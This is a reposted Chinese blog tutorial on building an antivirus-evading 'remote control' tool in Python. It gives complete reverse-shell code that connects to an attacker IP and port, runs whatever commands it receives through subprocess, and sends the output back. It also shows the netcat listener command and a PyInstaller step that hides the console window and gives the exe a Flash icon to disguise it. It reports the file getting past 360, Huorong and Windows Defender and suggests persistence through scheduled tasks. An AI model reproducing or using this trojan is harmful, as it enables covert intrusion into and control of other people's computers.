不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

Python实现免杀远控

要想实现简易远控,说的详细点就是反弹shell,首先要解决三个问题:

1.与服务端建立socket连接

2.在服务端命令执行

3.服务端把回显返回给客户端

这里我们用python实现,声明一下,涉及到的内容是网络编程,以下函数实现多半都是我百度的,所以有很多用法以及逻辑的实现都是欠考虑的QAQ

0x01 代码实现

#以下提到客户端/服务端均为相对概念
import socket
import sys
import subprocess


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#建立socket服务器,两个参数分别代表ipv4,tcp连接,套用模板不解释


try:                                         #异常处理,屏蔽两种报错1.服务端主动连接目标积极拒绝 2.系统命令执行错误
    s.connect(('x.x.x.x', 6666))             #主动连接目标ip+端口,注意里面是个元组
    while True:                              #建立一个死循环,目的是为了维持socket连接,也就是长连接
        d=s.recv(1024)                       #每次从建立的tcp连接里接受最多1字节的数据流 bytes
        if d:
            d = str(d, "utf-8").strip()      #bytes转成str然后再strip去掉最后输入的换行
            if d=='exit':
                s.close()
                sys.exit()                   #实现客户端输入exit可主动断开连接
            c=subprocess.Popen(d,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)        #利用子线程实行命令执行,可被异常捕获,据悉os.system不能被异常捕获
            c.wait()
            STDOUT,STDERR=c.communicate()
            s.send(STDOUT.decode('cp936').encode('utf-8'))
        else:
            s.close()
            break                            #这里设置if else为了客户端强制退出时也可执行
except  BaseException:
    s.close()                                #关闭连接并退出
    sys.exit()

执行后本地测试

简单总结一下编写时要解决的一些问题:

1.tcp连接要是长连接,即连接后给个while

2.不能让服务端报错,采用异常处理让服务端从始至终无报错(包括但不限于连接时被拒绝报错,命令执行报错等)

3.一些函数的返回类型等的细节转换

这里客户端我们开启nc -lvvp 6666监听本地端口(版本问题 这里我的命令是lvv),用到工具netcat(瑞士军刀),端口连接/传shell/传文件/传信息的神器

服务端执行以上代码

0x02 代码小结

简单的远控的python实现,也可以说是nc反弹shell的功能简单实现,缺点还有很多,代码的鲁棒性不强,所有情况都是偏理想型,网络编程不熟,代码有待优化,对于免杀性的话,如果免杀效果不够,可以同功能不同代码实现的思路来进行,有种python沙箱逃逸的感觉了

0x03 打包exe测试

放到同一目录下然后打开cmd执行

Pyinstaller -F -w -i 1.ico flash.py

这里省的我们再去换ico了,执行后去dict目录下找到生成的exe

你能说不像那么回事么?

好的 这边继续测试一下exe文件

简单测试一下本机成功上线,解决了几个问题

1.客户端未开启监听,服务端积极连接被拒绝不报错

2.连接成功后任意输入命令不报错

缺点是火狐的网络监控可以发现

虚拟机上线实例:

断网360测了一下:

火绒测试:

然后虚拟机windefender也没报,未传vt,但应该是随便过的

0x04 总结

简单的不完美的python反弹shell的实现,代码部分有待完善,实际应用中可以用来配合计划任务。(at/schtasks)执行来进行权限的维持,也可以配合方糖来做一个上线提醒的功能,然后更完美的就是后渗透的部分了,俺也是菜菜初学者,就这样.

转自:ms08067

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » Python实现免杀远控

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏